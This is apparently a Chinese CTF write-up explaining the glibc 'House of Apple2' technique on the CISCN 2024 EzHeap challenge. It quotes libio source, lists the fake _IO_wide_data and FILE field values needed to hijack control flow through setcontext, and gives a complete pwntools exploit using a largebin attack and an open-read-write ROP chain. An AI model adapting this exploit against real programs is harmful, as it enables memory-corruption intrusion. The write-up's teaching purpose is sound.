house of apple2
这里以CISCN 2024 初赛的Ezheap为例子
前置
_IO_wfile_jumps
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)
_IO_wide_data
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

分析
_IO_wfile_overflow
保证函数的调用链如下:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
详细分析如下:
首先看_IO_wfile_overflow函数
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}
这里要走到_IO_wdoallocbuf,需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0
然后看_IO_wdoallocbuf函数:
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
这里要调用 _IO_WDOALLOCATE 函数 也就是 *call (fp->_wide_data->_wide_vtable + 0x68)(fp) 要把flag标志位置为 0
如果是 ~(2 | 0x8 | 0x800) 就不会执行 _IO_WDOALLOCATE 而是直接返回到_IO_wfile_overflow如下图:

当flag为0时调用:

这是要调用fp->_wide_data->_wide_vtable + 0x68,这里rdi的值是我们伪造的IO_list_all的chunk地址

由于glibc-2.29以及之后setcontext是用rdx进行传参,而这里的rdx也在_IO_wfile_overflow+32被改为了我们的IO_wide_date_chunk 的地址。并且在后面没有对其进行过修改。


综上所述我们只需要改写:
- IO_list_all 中
flag == 0; write_ptr>write_base(IO_list_all中的和IO_wide_date中的都要满足write_ptr>write_base);_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C(一般设置为setcontext+61,来进行栈迁移)- vtable设置为
_IO_wfile_jumps
CISCN 2024 初赛的Ezheap

如上图所示该题存在堆溢出漏洞,无其他漏洞。
通过largebin attack泄露libc和堆地址,劫持_IO_list_all。修改vtable为_IO_wfile_jumps
然后修改_IO_wide_data,和_IO_wide_data->wide_vtable ,把IO_wide_data->wide_vtable+0x68 处的地址换成setcontext+61执行我们的ORW.
EXP(对部分代码做出了解释):
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./EzHeap"
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def add(size,data):
sla(b"choice >> ",b"1")
sla(b"size:",str(size))
ru(b"content:")
s(data)
def free(idx):
sla(b"choice >> ",b"2")
sla(b"idx:",str(idx))
def edit(idx,size,data):
sla(b"choice >> ",b"3")
sla(b"idx:",str(idx))
sla(b"size:",str(size))
ru(b"content:")
s(data)
def show(idx):
sla(b"choice >> ",b"4")
sla(b"idx:",str(idx))
def pwn():
# 构造堆风水,泄露处 libc和heap的地址
add(0x200,b"aaaa") #0
add(0x410,b"aaaa")#1
add(0x410,b"aaaa")#2
add(0x420,b"aaaa")#3
add(0x410,b"aaaa")#4
edit(1,0x500,b"\x00"*0x418+p64(0x851))
free(2)
add(0x410,b"bbbb")#2
show(3)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-96
libc_base = main_arena-0x21ac80
IO_list_all = libc_base+libc.sym['_IO_list_all']
io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
setcontext = libc_base+libc.sym['setcontext']
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx_r12 = libc_base+0x000000000011f2e7
syscall = libc_base+0x91316
pop_rax = libc_base+0x0000000000045eb0
ret = libc_base+0x0000000000029139
leak("libc_base",libc_base)
#leak heap
add(0x430,b"aaaa") #5
edit(3,0x500,b"a"*15+b"b")
show(3)
ru(b"ab")
heap_addr = u64(r(6).ljust(8,b"\x00"))-0x420*2-0x210
leak("heap_addr",heap_addr)
#利用large bin attack篡改_IO_list-all处的值为我们的chunk
edit(3,0x500,p64(main_arena)*2+p64(0)+p64(IO_list_all-0x20))
free(1)
add(0x430,b"aaaa") #6
#fake IO_list_all
IO_wide_date_chunk = heap_addr+0x10
fake_io_file = p64(0)*2
fake_io_file += p64(0)+p64(1)+p64(0)
fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
fake_io_file += p64(IO_wide_date_chunk)
fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
fake_io_file += p64(1)
fake_io_file += p64(0)*2
fake_io_file += p64(io_wfile_jumps)
edit(0,0x500,b"\x00"*0x200+p64(0)+p64(0x421)+fake_io_file)
#fake wide_data
edit(2,0x10,b"flag\x00\x00\x00\x00")
open_file_chunk_addr = heap_addr+0x210+0x420+0x10 #这里是我们要打开的文件名所在的堆地址,是我所创建的chunk2
ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,pop_rax,2,syscall)
ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,0,syscall)
ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,1,syscall)
Stack_migration_chunk = heap_addr+0x10 #
fake_wide_date = p64(0)*3
fake_wide_date += p64(0) #write_base
fake_wide_date += p64(1) #write_ptr
fake_wide_date = fake_wide_date.ljust(0x68,b"\x00")
fake_wide_date += p64(setcontext+61) #call fp->_wide_data->_wide_vtable + 0x68
fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
fake_wide_date += p64(Stack_migration_chunk+0xe8) #这里是setcontext中的set rsp,把其设置为我们ROP所在的地址
fake_wide_date += p64(ret) #setcontext中有个push rcx ,rcx在0xa8处
fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable
fake_wide_date += ROP
edit(0,0x500,fake_wide_date)
# gdb.attach(io,'b *_IO_wfile_overflow')
sla(b"choice >> ",b"5")
itr()
if __name__ == "__main__":
while True:
io = process(pwnfile)
try:
pwn()
except:
io.close()

1703

被折叠的 条评论
为什么被折叠?



